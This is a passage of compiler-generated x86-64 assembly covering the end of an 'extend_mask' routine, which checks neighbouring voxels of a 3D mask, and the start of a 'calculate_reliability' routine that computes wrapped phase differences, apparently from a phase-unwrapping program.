movzx eax, BYTE PTR [rax]
test al, al
jne .L95
mov eax, DWORD PTR -32[rbp]
movsx rdx, eax
mov eax, DWORD PTR -44[rbp]
cdqe
add rdx, rax
mov rax, QWORD PTR -16[rbp]
add rax, rdx
movzx eax, BYTE PTR [rax]
test al, al
jne .L95
mov eax, DWORD PTR -44[rbp]
cdqe
mov edx, 1
sub rdx, rax
mov rax, QWORD PTR -16[rbp]
add rax, rdx
movzx eax, BYTE PTR [rax]
test al, al
jne .L95
mov eax, DWORD PTR -32[rbp]
movsx rdx, eax
mov eax, DWORD PTR -44[rbp]
cdqe
add rax, rdx
lea rdx, -1[rax]
mov rax, QWORD PTR -16[rbp]
add rax, rdx
movzx eax, BYTE PTR [rax]
test al, al
jne .L95
mov eax, DWORD PTR -32[rbp]
cdqe
not rax
mov rdx, rax
mov rax, QWORD PTR -16[rbp]
add rax, rdx
movzx eax, BYTE PTR [rax]
test al, al
jne .L95
mov eax, DWORD PTR -32[rbp]
cdqe
lea rdx, 1[rax]
mov rax, QWORD PTR -16[rbp]
add rax, rdx
movzx eax, BYTE PTR [rax]
test al, al
jne .L95
mov eax, DWORD PTR -32[rbp]
cdqe
mov edx, 1
sub rdx, rax
mov rax, QWORD PTR -16[rbp]
add rax, rdx
movzx eax, BYTE PTR [rax]
test al, al
jne .L95
mov eax, DWORD PTR -32[rbp]
cdqe
lea rdx, -1[rax]
mov rax, QWORD PTR -16[rbp]
add rax, rdx
movzx eax, BYTE PTR [rax]
test al, al
jne .L95
mov eax, DWORD PTR -44[rbp]
cdqe
mov edx, DWORD PTR -32[rbp]
movsx rdx, edx
sub rax, rdx
lea rdx, -1[rax]
mov rax, QWORD PTR -16[rbp]
add rax, rdx
movzx eax, BYTE PTR [rax]
test al, al
jne .L95
mov eax, DWORD PTR -32[rbp]
add eax, eax
cdqe
mov edx, DWORD PTR -44[rbp]
movsx rdx, edx
sub rax, rdx
lea rdx, 1[rax]
mov rax, QWORD PTR -16[rbp]
add rax, rdx
movzx eax, BYTE PTR [rax]
test al, al
jne .L95
mov eax, DWORD PTR -44[rbp]
cdqe
mov edx, DWORD PTR -32[rbp]
movsx rdx, edx
sub rax, rdx
mov rcx, rax
mov rax, QWORD PTR -16[rbp]
add rax, rcx
movzx eax, BYTE PTR [rax]
test al, al
jne .L95
mov eax, DWORD PTR -32[rbp]
add eax, eax
cdqe
mov edx, DWORD PTR -44[rbp]
movsx rdx, edx
sub rax, rdx
mov rcx, rax
mov rax, QWORD PTR -16[rbp]
add rax, rcx
movzx eax, BYTE PTR [rax]
test al, al
jne .L95
mov eax, DWORD PTR -44[rbp]
cdqe
mov edx, DWORD PTR -32[rbp]
movsx rdx, edx
sub rax, rdx
lea rdx, 1[rax]
mov rax, QWORD PTR -16[rbp]
add rax, rdx
movzx eax, BYTE PTR [rax]
test al, al
jne .L95
mov eax, DWORD PTR -32[rbp]
add eax, eax
cdqe
mov edx, DWORD PTR -44[rbp]
movsx rdx, edx
sub rax, rdx
lea rdx, -1[rax]
mov rax, QWORD PTR -16[rbp]
add rax, rdx
movzx eax, BYTE PTR [rax]
test al, al
jne .L95
mov rax, QWORD PTR -8[rbp]
mov BYTE PTR [rax], 0
.L95:
add QWORD PTR -8[rbp], 1
add QWORD PTR -16[rbp], 1
add DWORD PTR -48[rbp], 1
.L94:
mov eax, DWORD PTR -84[rbp]
sub eax, 1
cmp DWORD PTR -48[rbp], eax
jl .L96
mov eax, DWORD PTR -32[rbp]
sub eax, DWORD PTR -44[rbp]
cdqe
add rax, 2
add QWORD PTR -8[rbp], rax
mov eax, DWORD PTR -32[rbp]
sub eax, DWORD PTR -44[rbp]
cdqe
add rax, 2
add QWORD PTR -16[rbp], rax
add DWORD PTR -56[rbp], 1
.L93:
mov eax, DWORD PTR -92[rbp]
sub eax, 1
cmp DWORD PTR -56[rbp], eax
jl .L97
mov eax, DWORD PTR -28[rbp]
add eax, eax
cdqe
mov edx, DWORD PTR -84[rbp]
movsx rdx, edx
sub rax, rdx
lea rdx, 1[rax]
mov rax, QWORD PTR -72[rbp]
add rax, rdx
mov QWORD PTR -16[rbp], rax
mov eax, DWORD PTR -28[rbp]
add eax, eax
cdqe
mov edx, DWORD PTR -84[rbp]
movsx rdx, edx
sub rax, rdx
lea rdx, 1[rax]
mov rax, QWORD PTR -80[rbp]
add rax, rdx
mov QWORD PTR -8[rbp], rax
mov DWORD PTR -56[rbp], 1
jmp .L98
.L102:
mov DWORD PTR -48[rbp], 1
jmp .L99
.L101:
mov rax, QWORD PTR -16[rbp]
movzx eax, BYTE PTR [rax]
test al, al
jne .L100
mov rax, QWORD PTR -16[rbp]
add rax, 1
movzx eax, BYTE PTR [rax]
test al, al
jne .L100
mov rax, QWORD PTR -16[rbp]
sub rax, 1
movzx eax, BYTE PTR [rax]
test al, al
jne .L100
mov eax, DWORD PTR -44[rbp]
cdqe
neg rax
mov rdx, rax
mov rax, QWORD PTR -16[rbp]
add rax, rdx
movzx eax, BYTE PTR [rax]
test al, al
jne .L100
mov eax, DWORD PTR -44[rbp]
cdqe
mov edx, DWORD PTR -32[rbp]
movsx rdx, edx
sub rax, rdx
mov rcx, rax
mov rax, QWORD PTR -16[rbp]
add rax, rcx
movzx eax, BYTE PTR [rax]
test al, al
jne .L100
mov eax, DWORD PTR -32[rbp]
cdqe
neg rax
mov rdx, rax
mov rax, QWORD PTR -16[rbp]
add rax, rdx
movzx eax, BYTE PTR [rax]
test al, al
jne .L100
mov eax, DWORD PTR -32[rbp]
movsx rdx, eax
mov rax, QWORD PTR -16[rbp]
add rax, rdx
movzx eax, BYTE PTR [rax]
test al, al
jne .L100
mov eax, DWORD PTR -44[rbp]
cdqe
not rax
mov rdx, rax
mov rax, QWORD PTR -16[rbp]
add rax, rdx
movzx eax, BYTE PTR [rax]
test al, al
jne .L100
mov eax, DWORD PTR -44[rbp]
cdqe
mov edx, DWORD PTR -32[rbp]
movsx rdx, edx
sub rax, rdx
lea rdx, 1[rax]
mov rax, QWORD PTR -16[rbp]
add rax, rdx
movzx eax, BYTE PTR [rax]
test al, al
jne .L100
mov eax, DWORD PTR -44[rbp]
cdqe
mov edx, 1
sub rdx, rax
mov rax, QWORD PTR -16[rbp]
add rax, rdx
movzx eax, BYTE PTR [rax]
test al, al
jne .L100
mov eax, DWORD PTR -44[rbp]
cdqe
mov edx, DWORD PTR -32[rbp]
movsx rdx, edx
sub rax, rdx
lea rdx, -1[rax]
mov rax, QWORD PTR -16[rbp]
add rax, rdx
movzx eax, BYTE PTR [rax]
test al, al
jne .L100
mov eax, DWORD PTR -32[rbp]
cdqe
neg rax
mov rdx, rax
mov eax, DWORD PTR -44[rbp]
movsx rcx, eax
mov rax, rdx
sub rax, rcx
lea rdx, -1[rax]
mov rax, QWORD PTR -16[rbp]
add rax, rdx
movzx eax, BYTE PTR [rax]
test al, al
jne .L100
mov eax, DWORD PTR -44[rbp]
cdqe
lea rdx, 1[rax]
mov rax, QWORD PTR -16[rbp]
add rax, rdx
movzx eax, BYTE PTR [rax]
test al, al
jne .L100
mov eax, DWORD PTR -32[rbp]
cdqe
neg rax
mov rdx, rax
mov eax, DWORD PTR -44[rbp]
movsx rcx, eax
mov rax, rdx
sub rax, rcx
lea rdx, 1[rax]
mov rax, QWORD PTR -16[rbp]
add rax, rdx
movzx eax, BYTE PTR [rax]
test al, al
jne .L100
mov eax, DWORD PTR -44[rbp]
cdqe
lea rdx, -1[rax]
mov rax, QWORD PTR -16[rbp]
add rax, rdx
movzx eax, BYTE PTR [rax]
test al, al
jne .L100
mov eax, DWORD PTR -32[rbp]
cdqe
neg rax
mov rdx, rax
mov eax, DWORD PTR -44[rbp]
cdqe
sub rdx, rax
mov rax, QWORD PTR -16[rbp]
add rax, rdx
movzx eax, BYTE PTR [rax]
test al, al
jne .L100
mov eax, DWORD PTR -44[rbp]
movsx rdx, eax
mov rax, QWORD PTR -16[rbp]
add rax, rdx
movzx eax, BYTE PTR [rax]
test al, al
jne .L100
mov eax, DWORD PTR -32[rbp]
cdqe
not rax
mov rdx, rax
mov rax, QWORD PTR -16[rbp]
add rax, rdx
movzx eax, BYTE PTR [rax]
test al, al
jne .L100
mov eax, DWORD PTR -32[rbp]
cdqe
lea rdx, 1[rax]
mov rax, QWORD PTR -16[rbp]
add rax, rdx
movzx eax, BYTE PTR [rax]
test al, al
jne .L100
mov eax, DWORD PTR -32[rbp]
cdqe
mov edx, 1
sub rdx, rax
mov rax, QWORD PTR -16[rbp]
add rax, rdx
movzx eax, BYTE PTR [rax]
test al, al
jne .L100
mov eax, DWORD PTR -32[rbp]
cdqe
lea rdx, -1[rax]
mov rax, QWORD PTR -16[rbp]
add rax, rdx
movzx eax, BYTE PTR [rax]
test al, al
jne .L100
mov eax, DWORD PTR -44[rbp]
cdqe
mov edx, DWORD PTR -32[rbp]
add edx, edx
movsx rdx, edx
sub rax, rdx
lea rdx, -1[rax]
mov rax, QWORD PTR -16[rbp]
add rax, rdx
movzx eax, BYTE PTR [rax]
test al, al
jne .L100
mov eax, DWORD PTR -32[rbp]
cdqe
mov edx, DWORD PTR -44[rbp]
movsx rdx, edx
sub rax, rdx
lea rdx, 1[rax]
mov rax, QWORD PTR -16[rbp]
add rax, rdx
movzx eax, BYTE PTR [rax]
test al, al
jne .L100
mov eax, DWORD PTR -44[rbp]
cdqe
mov edx, DWORD PTR -32[rbp]
add edx, edx
movsx rdx, edx
sub rax, rdx
mov rcx, rax
mov rax, QWORD PTR -16[rbp]
add rax, rcx
movzx eax, BYTE PTR [rax]
test al, al
jne .L100
mov eax, DWORD PTR -32[rbp]
cdqe
mov edx, DWORD PTR -44[rbp]
movsx rdx, edx
sub rax, rdx
mov rcx, rax
mov rax, QWORD PTR -16[rbp]
add rax, rcx
movzx eax, BYTE PTR [rax]
test al, al
jne .L100
mov eax, DWORD PTR -44[rbp]
cdqe
mov edx, DWORD PTR -32[rbp]
add edx, edx
movsx rdx, edx
sub rax, rdx
lea rdx, 1[rax]
mov rax, QWORD PTR -16[rbp]
add rax, rdx
movzx eax, BYTE PTR [rax]
test al, al
jne .L100
mov eax, DWORD PTR -32[rbp]
cdqe
mov edx, DWORD PTR -44[rbp]
movsx rdx, edx
sub rax, rdx
lea rdx, -1[rax]
mov rax, QWORD PTR -16[rbp]
add rax, rdx
movzx eax, BYTE PTR [rax]
test al, al
jne .L100
mov rax, QWORD PTR -8[rbp]
mov BYTE PTR [rax], 0
.L100:
add QWORD PTR -8[rbp], 1
add QWORD PTR -16[rbp], 1
add DWORD PTR -48[rbp], 1
.L99:
mov eax, DWORD PTR -84[rbp]
sub eax, 1
cmp DWORD PTR -48[rbp], eax
jl .L101
mov eax, DWORD PTR -32[rbp]
sub eax, DWORD PTR -44[rbp]
cdqe
add rax, 2
add QWORD PTR -8[rbp], rax
mov eax, DWORD PTR -32[rbp]
sub eax, DWORD PTR -44[rbp]
cdqe
add rax, 2
add QWORD PTR -16[rbp], rax
add DWORD PTR -56[rbp], 1
.L98:
mov eax, DWORD PTR -92[rbp]
sub eax, 1
cmp DWORD PTR -56[rbp], eax
jl .L102
.L92:
mov rax, QWORD PTR -104[rbp]
mov eax, DWORD PTR 16[rax]
cmp eax, 1
jne .L114
mov eax, DWORD PTR -84[rbp]
cdqe
lea rdx, 1[rax]
mov rax, QWORD PTR -72[rbp]
add rax, rdx
mov QWORD PTR -16[rbp], rax
mov eax, DWORD PTR -84[rbp]
cdqe
lea rdx, 1[rax]
mov rax, QWORD PTR -80[rbp]
add rax, rdx
mov QWORD PTR -8[rbp], rax
mov DWORD PTR -52[rbp], 1
jmp .L104
.L108:
mov DWORD PTR -48[rbp], 1
jmp .L105
.L107:
mov rax, QWORD PTR -16[rbp]
movzx eax, BYTE PTR [rax]
test al, al
jne .L106
mov rax, QWORD PTR -16[rbp]
sub rax, 1
movzx eax, BYTE PTR [rax]
test al, al
jne .L106
mov rax, QWORD PTR -16[rbp]
add rax, 1
movzx eax, BYTE PTR [rax]
test al, al
jne .L106
mov eax, DWORD PTR -44[rbp]
cdqe
neg rax
mov rdx, rax
mov rax, QWORD PTR -16[rbp]
add rax, rdx
movzx eax, BYTE PTR [rax]
test al, al
jne .L106
mov eax, DWORD PTR -44[rbp]
movsx rdx, eax
mov rax, QWORD PTR -16[rbp]
add rax, rdx
movzx eax, BYTE PTR [rax]
test al, al
jne .L106
mov eax, DWORD PTR -32[rbp]
movsx rdx, eax
mov rax, QWORD PTR -16[rbp]
add rax, rdx
movzx eax, BYTE PTR [rax]
test al, al
jne .L106
mov eax, DWORD PTR -20[rbp]
cdqe
mov edx, DWORD PTR -32[rbp]
movsx rdx, edx
sub rax, rdx
mov rcx, rax
mov rax, QWORD PTR -16[rbp]
add rax, rcx
movzx eax, BYTE PTR [rax]
test al, al
jne .L106
mov eax, DWORD PTR -44[rbp]
cdqe
not rax
mov rdx, rax
mov rax, QWORD PTR -16[rbp]
add rax, rdx
movzx eax, BYTE PTR [rax]
test al, al
jne .L106
mov eax, DWORD PTR -44[rbp]
cdqe
lea rdx, 1[rax]
mov rax, QWORD PTR -16[rbp]
add rax, rdx
movzx eax, BYTE PTR [rax]
test al, al
jne .L106
mov eax, DWORD PTR -44[rbp]
cdqe
mov edx, 1
sub rdx, rax
mov rax, QWORD PTR -16[rbp]
add rax, rdx
movzx eax, BYTE PTR [rax]
test al, al
jne .L106
mov eax, DWORD PTR -44[rbp]
cdqe
lea rdx, -1[rax]
mov rax, QWORD PTR -16[rbp]
add rax, rdx
movzx eax, BYTE PTR [rax]
test al, al
jne .L106
mov eax, DWORD PTR -20[rbp]
cdqe
mov edx, DWORD PTR -32[rbp]
movsx rcx, edx
sub rax, rcx
mov rdx, rax
mov eax, DWORD PTR -44[rbp]
movsx rcx, eax
mov rax, rdx
sub rax, rcx
lea rdx, -1[rax]
mov rax, QWORD PTR -16[rbp]
add rax, rdx
movzx eax, BYTE PTR [rax]
test al, al
jne .L106
mov eax, DWORD PTR -32[rbp]
movsx rdx, eax
mov eax, DWORD PTR -44[rbp]
cdqe
add rax, rdx
lea rdx, 1[rax]
mov rax, QWORD PTR -16[rbp]
add rax, rdx
movzx eax, BYTE PTR [rax]
test al, al
jne .L106
mov eax, DWORD PTR -20[rbp]
cdqe
mov edx, DWORD PTR -32[rbp]
movsx rcx, edx
sub rax, rcx
mov rdx, rax
mov eax, DWORD PTR -44[rbp]
cdqe
sub rdx, rax
mov rax, QWORD PTR -16[rbp]
add rax, rdx
movzx eax, BYTE PTR [rax]
test al, al
jne .L106
mov eax, DWORD PTR -32[rbp]
movsx rdx, eax
mov eax, DWORD PTR -44[rbp]
cdqe
add rdx, rax
mov rax, QWORD PTR -16[rbp]
add rax, rdx
movzx eax, BYTE PTR [rax]
test al, al
jne .L106
mov eax, DWORD PTR -20[rbp]
cdqe
mov edx, DWORD PTR -32[rbp]
movsx rcx, edx
sub rax, rcx
mov rdx, rax
mov eax, DWORD PTR -44[rbp]
movsx rcx, eax
mov rax, rdx
sub rax, rcx
lea rdx, 1[rax]
mov rax, QWORD PTR -16[rbp]
add rax, rdx
movzx eax, BYTE PTR [rax]
test al, al
jne .L106
mov eax, DWORD PTR -32[rbp]
movsx rdx, eax
mov eax, DWORD PTR -44[rbp]
cdqe
add rax, rdx
lea rdx, -1[rax]
mov rax, QWORD PTR -16[rbp]
add rax, rdx
movzx eax, BYTE PTR [rax]
test al, al
jne .L106
mov eax, DWORD PTR -20[rbp]
cdqe
mov edx, DWORD PTR -32[rbp]
movsx rdx, edx
sub rax, rdx
lea rdx, -1[rax]
mov rax, QWORD PTR -16[rbp]
add rax, rdx
movzx eax, BYTE PTR [rax]
test al, al
jne .L106
mov eax, DWORD PTR -32[rbp]
cdqe
lea rdx, 1[rax]
mov rax, QWORD PTR -16[rbp]
add rax, rdx
movzx eax, BYTE PTR [rax]
test al, al
jne .L106
mov eax, DWORD PTR -20[rbp]
cdqe
mov edx, DWORD PTR -32[rbp]
movsx rdx, edx
sub rax, rdx
lea rdx, 1[rax]
mov rax, QWORD PTR -16[rbp]
add rax, rdx
movzx eax, BYTE PTR [rax]
test al, al
jne .L106
mov eax, DWORD PTR -32[rbp]
cdqe
lea rdx, -1[rax]
mov rax, QWORD PTR -16[rbp]
add rax, rdx
movzx eax, BYTE PTR [rax]
test al, al
jne .L106
mov eax, DWORD PTR -20[rbp]
cdqe
mov edx, DWORD PTR -32[rbp]
movsx rdx, edx
sub rax, rdx
mov rcx, rax
mov eax, DWORD PTR -44[rbp]
cdqe
add rax, rcx
lea rdx, -1[rax]
mov rax, QWORD PTR -16[rbp]
add rax, rdx
movzx eax, BYTE PTR [rax]
test al, al
jne .L106
mov eax, DWORD PTR -32[rbp]
cdqe
mov edx, DWORD PTR -44[rbp]
movsx rdx, edx
sub rax, rdx
lea rdx, 1[rax]
mov rax, QWORD PTR -16[rbp]
add rax, rdx
movzx eax, BYTE PTR [rax]
test al, al
jne .L106
mov eax, DWORD PTR -20[rbp]
cdqe
mov edx, DWORD PTR -32[rbp]
movsx rdx, edx
sub rax, rdx
mov rcx, rax
mov eax, DWORD PTR -44[rbp]
cdqe
lea rdx, [rcx+rax]
mov rax, QWORD PTR -16[rbp]
add rax, rdx
movzx eax, BYTE PTR [rax]
test al, al
jne .L106
mov eax, DWORD PTR -32[rbp]
cdqe
mov edx, DWORD PTR -44[rbp]
movsx rdx, edx
sub rax, rdx
mov rcx, rax
mov rax, QWORD PTR -16[rbp]
add rax, rcx
movzx eax, BYTE PTR [rax]
test al, al
jne .L106
mov eax, DWORD PTR -20[rbp]
cdqe
mov edx, DWORD PTR -32[rbp]
movsx rdx, edx
sub rax, rdx
mov rcx, rax
mov eax, DWORD PTR -44[rbp]
cdqe
add rax, rcx
lea rdx, 1[rax]
mov rax, QWORD PTR -16[rbp]
add rax, rdx
movzx eax, BYTE PTR [rax]
test al, al
jne .L106
mov eax, DWORD PTR -32[rbp]
cdqe
mov edx, DWORD PTR -44[rbp]
movsx rdx, edx
sub rax, rdx
lea rdx, -1[rax]
mov rax, QWORD PTR -16[rbp]
add rax, rdx
movzx eax, BYTE PTR [rax]
test al, al
jne .L106
mov rax, QWORD PTR -8[rbp]
mov BYTE PTR [rax], 0
.L106:
add QWORD PTR -8[rbp], 1
add QWORD PTR -16[rbp], 1
add DWORD PTR -48[rbp], 1
.L105:
mov eax, DWORD PTR -84[rbp]
sub eax, 1
cmp DWORD PTR -48[rbp], eax
jl .L107
add QWORD PTR -8[rbp], 2
add QWORD PTR -16[rbp], 2
add DWORD PTR -52[rbp], 1
.L104:
mov eax, DWORD PTR -88[rbp]
sub eax, 1
cmp DWORD PTR -52[rbp], eax
jl .L108
mov eax, DWORD PTR -24[rbp]
cdqe
mov edx, DWORD PTR -28[rbp]
movsx rdx, edx
sub rax, rdx
mov rcx, rax
mov eax, DWORD PTR -84[rbp]
cdqe
add rax, rcx
lea rdx, 1[rax]
mov rax, QWORD PTR -72[rbp]
add rax, rdx
mov QWORD PTR -16[rbp], rax
mov eax, DWORD PTR -24[rbp]
cdqe
mov edx, DWORD PTR -28[rbp]
movsx rdx, edx
sub rax, rdx
mov rcx, rax
mov eax, DWORD PTR -84[rbp]
cdqe
add rax, rcx
lea rdx, 1[rax]
mov rax, QWORD PTR -80[rbp]
add rax, rdx
mov QWORD PTR -8[rbp], rax
mov DWORD PTR -52[rbp], 1
jmp .L109
.L113:
mov DWORD PTR -48[rbp], 1
jmp .L110
.L112:
mov rax, QWORD PTR -16[rbp]
movzx eax, BYTE PTR [rax]
test al, al
jne .L111
mov rax, QWORD PTR -16[rbp]
add rax, 1
movzx eax, BYTE PTR [rax]
test al, al
jne .L111
mov rax, QWORD PTR -16[rbp]
sub rax, 1
movzx eax, BYTE PTR [rax]
test al, al
jne .L111
mov eax, DWORD PTR -44[rbp]
cdqe
neg rax
mov rdx, rax
mov rax, QWORD PTR -16[rbp]
add rax, rdx
movzx eax, BYTE PTR [rax]
test al, al
jne .L111
mov eax, DWORD PTR -44[rbp]
cdqe
mov edx, DWORD PTR -32[rbp]
movsx rdx, edx
sub rax, rdx
mov rcx, rax
mov rax, QWORD PTR -16[rbp]
add rax, rcx
movzx eax, BYTE PTR [rax]
test al, al
jne .L111
mov eax, DWORD PTR -32[rbp]
cdqe
neg rax
mov rdx, rax
mov rax, QWORD PTR -16[rbp]
add rax, rdx
movzx eax, BYTE PTR [rax]
test al, al
jne .L111
mov eax, DWORD PTR -32[rbp]
cdqe
mov edx, DWORD PTR -20[rbp]
movsx rdx, edx
sub rax, rdx
mov rcx, rax
mov rax, QWORD PTR -16[rbp]
add rax, rcx
movzx eax, BYTE PTR [rax]
test al, al
jne .L111
mov eax, DWORD PTR -44[rbp]
cdqe
not rax
mov rdx, rax
mov rax, QWORD PTR -16[rbp]
add rax, rdx
movzx eax, BYTE PTR [rax]
test al, al
jne .L111
mov eax, DWORD PTR -44[rbp]
cdqe
lea rdx, 1[rax]
mov rax, QWORD PTR -16[rbp]
add rax, rdx
movzx eax, BYTE PTR [rax]
test al, al
jne .L111
mov eax, DWORD PTR -44[rbp]
cdqe
mov edx, 1
sub rdx, rax
mov rax, QWORD PTR -16[rbp]
add rax, rdx
movzx eax, BYTE PTR [rax]
test al, al
jne .L111
mov eax, DWORD PTR -44[rbp]
cdqe
lea rdx, -1[rax]
mov rax, QWORD PTR -16[rbp]
add rax, rdx
movzx eax, BYTE PTR [rax]
test al, al
jne .L111
mov eax, DWORD PTR -32[rbp]
cdqe
neg rax
mov rdx, rax
mov eax, DWORD PTR -44[rbp]
movsx rcx, eax
mov rax, rdx
sub rax, rcx
lea rdx, -1[rax]
mov rax, QWORD PTR -16[rbp]
add rax, rdx
movzx eax, BYTE PTR [rax]
test al, al
jne .L111
mov eax, DWORD PTR -32[rbp]
cdqe
mov edx, DWORD PTR -20[rbp]
movsx rdx, edx
sub rax, rdx
mov rcx, rax
mov eax, DWORD PTR -44[rbp]
cdqe
add rax, rcx
lea rdx, 1[rax]
mov rax, QWORD PTR -16[rbp]
add rax, rdx
movzx eax, BYTE PTR [rax]
test al, al
jne .L111
mov eax, DWORD PTR -32[rbp]
cdqe
neg rax
mov rdx, rax
mov eax, DWORD PTR -44[rbp]
movsx rcx, eax
mov rax, rdx
sub rax, rcx
lea rdx, 1[rax]
mov rax, QWORD PTR -16[rbp]
add rax, rdx
movzx eax, BYTE PTR [rax]
test al, al
jne .L111
mov eax, DWORD PTR -32[rbp]
cdqe
mov edx, DWORD PTR -20[rbp]
movsx rdx, edx
sub rax, rdx
mov rcx, rax
mov eax, DWORD PTR -44[rbp]
cdqe
add rax, rcx
lea rdx, -1[rax]
mov rax, QWORD PTR -16[rbp]
add rax, rdx
movzx eax, BYTE PTR [rax]
test al, al
jne .L111
mov eax, DWORD PTR -32[rbp]
cdqe
neg rax
mov rdx, rax
mov eax, DWORD PTR -44[rbp]
cdqe
sub rdx, rax
mov rax, QWORD PTR -16[rbp]
add rax, rdx
movzx eax, BYTE PTR [rax]
test al, al
jne .L111
mov eax, DWORD PTR -32[rbp]
cdqe
mov edx, DWORD PTR -20[rbp]
movsx rdx, edx
sub rax, rdx
mov rcx, rax
mov eax, DWORD PTR -44[rbp]
cdqe
lea rdx, [rcx+rax]
mov rax, QWORD PTR -16[rbp]
add rax, rdx
movzx eax, BYTE PTR [rax]
test al, al
jne .L111
mov eax, DWORD PTR -32[rbp]
cdqe
not rax
mov rdx, rax
mov rax, QWORD PTR -16[rbp]
add rax, rdx
movzx eax, BYTE PTR [rax]
test al, al
jne .L111
mov eax, DWORD PTR -32[rbp]
cdqe
mov edx, DWORD PTR -20[rbp]
movsx rdx, edx
sub rax, rdx
lea rdx, 1[rax]
mov rax, QWORD PTR -16[rbp]
add rax, rdx
movzx eax, BYTE PTR [rax]
test al, al
jne .L111
mov eax, DWORD PTR -32[rbp]
cdqe
mov edx, 1
sub rdx, rax
mov rax, QWORD PTR -16[rbp]
add rax, rdx
movzx eax, BYTE PTR [rax]
test al, al
jne .L111
mov eax, DWORD PTR -32[rbp]
cdqe
mov edx, DWORD PTR -20[rbp]
movsx rdx, edx
sub rax, rdx
lea rdx, -1[rax]
mov rax, QWORD PTR -16[rbp]
add rax, rdx
movzx eax, BYTE PTR [rax]
test al, al
jne .L111
mov eax, DWORD PTR -44[rbp]
cdqe
mov edx, DWORD PTR -32[rbp]
movsx rdx, edx
sub rax, rdx
lea rdx, -1[rax]
mov rax, QWORD PTR -16[rbp]
add rax, rdx
movzx eax, BYTE PTR [rax]
test al, al
jne .L111
mov eax, DWORD PTR -32[rbp]
cdqe
mov edx, DWORD PTR -20[rbp]
movsx rcx, edx
sub rax, rcx
mov rdx, rax
mov eax, DWORD PTR -44[rbp]
movsx rcx, eax
mov rax, rdx
sub rax, rcx
lea rdx, 1[rax]
mov rax, QWORD PTR -16[rbp]
add rax, rdx
movzx eax, BYTE PTR [rax]
test al, al
jne .L111
mov eax, DWORD PTR -44[rbp]
cdqe
mov edx, DWORD PTR -32[rbp]
movsx rdx, edx
sub rax, rdx
mov rcx, rax
mov rax, QWORD PTR -16[rbp]
add rax, rcx
movzx eax, BYTE PTR [rax]
test al, al
jne .L111
mov eax, DWORD PTR -32[rbp]
cdqe
mov edx, DWORD PTR -20[rbp]
movsx rcx, edx
sub rax, rcx
mov rdx, rax
mov eax, DWORD PTR -44[rbp]
cdqe
sub rdx, rax
mov rax, QWORD PTR -16[rbp]
add rax, rdx
movzx eax, BYTE PTR [rax]
test al, al
jne .L111
mov eax, DWORD PTR -44[rbp]
cdqe
mov edx, DWORD PTR -32[rbp]
movsx rdx, edx
sub rax, rdx
lea rdx, 1[rax]
mov rax, QWORD PTR -16[rbp]
add rax, rdx
movzx eax, BYTE PTR [rax]
test al, al
jne .L111
mov eax, DWORD PTR -32[rbp]
cdqe
mov edx, DWORD PTR -20[rbp]
movsx rcx, edx
sub rax, rcx
mov rdx, rax
mov eax, DWORD PTR -44[rbp]
movsx rcx, eax
mov rax, rdx
sub rax, rcx
lea rdx, -1[rax]
mov rax, QWORD PTR -16[rbp]
add rax, rdx
movzx eax, BYTE PTR [rax]
test al, al
jne .L111
mov rax, QWORD PTR -8[rbp]
mov BYTE PTR [rax], 0
.L111:
add QWORD PTR -8[rbp], 1
add QWORD PTR -16[rbp], 1
add DWORD PTR -48[rbp], 1
.L110:
mov eax, DWORD PTR -84[rbp]
sub eax, 1
cmp DWORD PTR -48[rbp], eax
jl .L112
add QWORD PTR -8[rbp], 2
add QWORD PTR -16[rbp], 2
add DWORD PTR -52[rbp], 1
.L109:
mov eax, DWORD PTR -88[rbp]
sub eax, 1
cmp DWORD PTR -52[rbp], eax
jl .L113
.L114:
nop
pop rbp
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE12:
.size extend_mask, .-extend_mask
.globl calculate_reliability
.type calculate_reliability, @function
calculate_reliability:
.LFB13:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
push rbx
sub rsp, 184
.cfi_offset 3, -24
mov QWORD PTR -160[rbp], rdi
mov QWORD PTR -168[rbp], rsi
mov DWORD PTR -172[rbp], edx
mov DWORD PTR -176[rbp], ecx
mov DWORD PTR -180[rbp], r8d
mov QWORD PTR -192[rbp], r9
mov eax, DWORD PTR -172[rbp]
imul eax, DWORD PTR -176[rbp]
mov DWORD PTR -136[rbp], eax
mov eax, DWORD PTR -172[rbp]
imul eax, DWORD PTR -176[rbp]
mov edx, DWORD PTR -180[rbp]
imul eax, edx
mov DWORD PTR -132[rbp], eax
mov eax, DWORD PTR -136[rbp]
movsx rdx, eax
mov eax, DWORD PTR -172[rbp]
cdqe
add rax, rdx
add rax, 1
lea rdx, 0[0+rax*8]
mov rax, QWORD PTR -160[rbp]
add rax, rdx
mov QWORD PTR -120[rbp], rax
mov eax, DWORD PTR -136[rbp]
movsx rdx, eax
mov eax, DWORD PTR -172[rbp]
cdqe
add rax, rdx
add rax, 1
sal rax, 6
mov rdx, rax
mov rax, QWORD PTR -168[rbp]
add rax, rdx
mov QWORD PTR -128[rbp], rax
mov DWORD PTR -148[rbp], 1
jmp .L116
.L122:
mov DWORD PTR -144[rbp], 1
jmp .L117
.L121:
mov DWORD PTR -140[rbp], 1
jmp .L118
.L120:
mov rax, QWORD PTR -128[rbp]
movzx eax, BYTE PTR 25[rax]
test al, al
jne .L119
mov rax, QWORD PTR -120[rbp]
sub rax, 8
movsd xmm0, QWORD PTR [rax]
mov rax, QWORD PTR -120[rbp]
movsd xmm1, QWORD PTR [rax]
subsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call wrap
movq rbx, xmm0
mov rax, QWORD PTR -120[rbp]
movsd xmm0, QWORD PTR [rax]
mov rax, QWORD PTR -120[rbp]
add rax, 8
movsd xmm1, QWORD PTR [rax]
subsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call wrap
movapd xmm1, xmm0
movq xmm0, rbx
subsd xmm0, xmm1
movsd QWORD PTR -112[rbp], xmm0
mov eax, DWORD PTR -172[rbp]
cdqe
sal rax, 3
neg rax
mov rdx, rax
mov rax, QWORD PTR -120[rbp]
add rax, rdx
movsd xmm0, QWORD PTR [rax]
mov rax, QWORD PTR -120[rbp]
movsd xmm1, QWORD PTR [rax]
subsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call wrap
movq rbx, xmm0
mov rax, QWORD PTR -120[rbp]
movsd xmm0, QWORD PTR [rax]
mov eax, DWORD PTR -172[rbp]
cdqe
lea rdx, 0[0+rax*8]
mov rax, QWORD PTR -120[rbp]
add rax, rdx
movsd xmm1, QWORD PTR [rax]
subsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
